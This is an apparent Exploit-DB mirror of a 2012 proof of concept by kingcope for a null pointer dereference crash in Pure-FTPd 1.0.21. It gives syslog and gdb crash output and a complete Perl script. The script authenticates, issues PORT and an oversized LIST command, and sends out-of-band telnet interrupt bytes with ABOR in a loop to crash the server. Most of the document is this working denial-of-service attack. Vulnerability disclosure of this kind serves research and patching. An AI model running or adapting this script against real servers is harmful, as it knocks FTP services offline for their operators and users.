Pure-FTPd 1.0.21 (CentOS 6.2 / Ubuntu 8.04) – Null Pointer Dereference Crash (PoC)

  • 作者: kingcope
    日期: 2012-08-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/20479/
  • #Pure-FTPd Crash PoC (Null Pointer Dereference), tested with pure-ftpd v1.0.21 (centos 6.2, ubuntu 8.04)
    #latest version (v1.0.36) is not affected !!
    #discovered by Kingcope
    #
    #root@ubuntu:~# grep seg /var/log/syslog
    #Aug 13 13:55:28 ubuntu kernel: [226.791747] pure-ftpd[4825]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
    #Aug 13 13:56:21 ubuntu kernel: [280.295826] pure-ftpd[4836]: segfault at 00000000 eip 0804cd3b esp bfb81db0 error 4
    #Program received signal SIGSEGV, Segmentation fault.
    #[Switching to process 5358]
    #doreply () at ftpd.c:698
    #698 nextentry = scannedentry->next;
    #(gdb) i r
    #eax0x00
    #ecx0xbf967540 -1080658624
    #edx0x00
    #ebx0x00
    #esp0xbf967540 0xbf967540
    #ebp0xbf967588 0xbf967588
    #esi0x00
    #edi0xbf96756c -1080658580
    #eip0x804b0900x804b090 <doreply+256>
    #eflags 0x10217[ CF PF AF IF RF ]
    #cs 0x73 115
    #ss 0x7b 123
    #ds 0x7b 123
    #es 0x7b 123
    #fs 0x00
    #gs 0x33 51
    #(gdb) x/10i $eip
    #=> 0x804b090 <doreply+256>: mov(%eax),%ebx
    # 0x804b092 <doreply+258>: mov%eax,(%esp)
    # 0x804b095 <doreply+261>: call 0x8049928 <free@plt>
    # 0x804b09a <doreply+266>: test %ebx,%ebx
    # 0x804b09c <doreply+268>: mov%ebx,%eax
    # 0x804b09e <doreply+270>: jne0x804b090 <doreply+256>
    # 0x804b0a0 <doreply+272>: movl $0x0,0x805d040
    # 0x804b0aa <doreply+282>: movl $0x0,0x805d03c
    # 0x804b0b4 <doreply+292>: add$0x3c,%esp
    # 0x804b0b7 <doreply+295>: pop%ebx
    #(gdb) 
    
    use IO::Socket;
    
    $host = $ARGV[0];
    $username = $ARGV[1];
    $password = $ARGV[2];
    $locip = $ARGV[3];
    $locip =~ s/\./,/gi;
    
    if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
    	print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
    	exit;
    }
    
    if (fork()) {
    my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
    PeerPort => 21,
    Proto => 'tcp');
    while(<$sock>) {
    	$p = $_;
    	print $p;
    	if ($p =~ /220\s/) {
    		last;	
    	}
    		
    }
    print $sock "USER $ARGV[1]\r\n";
    $p = <$sock>;
    print $p;
    print $sock "PASS $ARGV[2]\r\n";
    $p = <$sock>;
    print $p;
    for ($k=0;$k<100;$k++) {
    print $k."\n";
    print $sock "PORT $locip,146,15\r\n";
    $p = <$sock>;
    print $p;
    $a = "A" x 2560;
    print $sock "LIST $a\r\n";
    select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
    send $sock, "!",MSG_OOB;
    print $sock "\377";
    print $sock "\364";
    print $sock "\377";
    print $sock "\362";
    print $sock "ABOR\r\n";
    $p = <$sock>;
    print $p;
    print $sock "PWD\r\n";
    $p = <$sock>;
    print $p;
    }
    } else {
    my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
    die "Could not create socket: $!\n" unless $servsock;
    while(my $new_sock = $servsock->accept()) {
    while(<$new_sock>) {
    print $_;
    }
    }
    }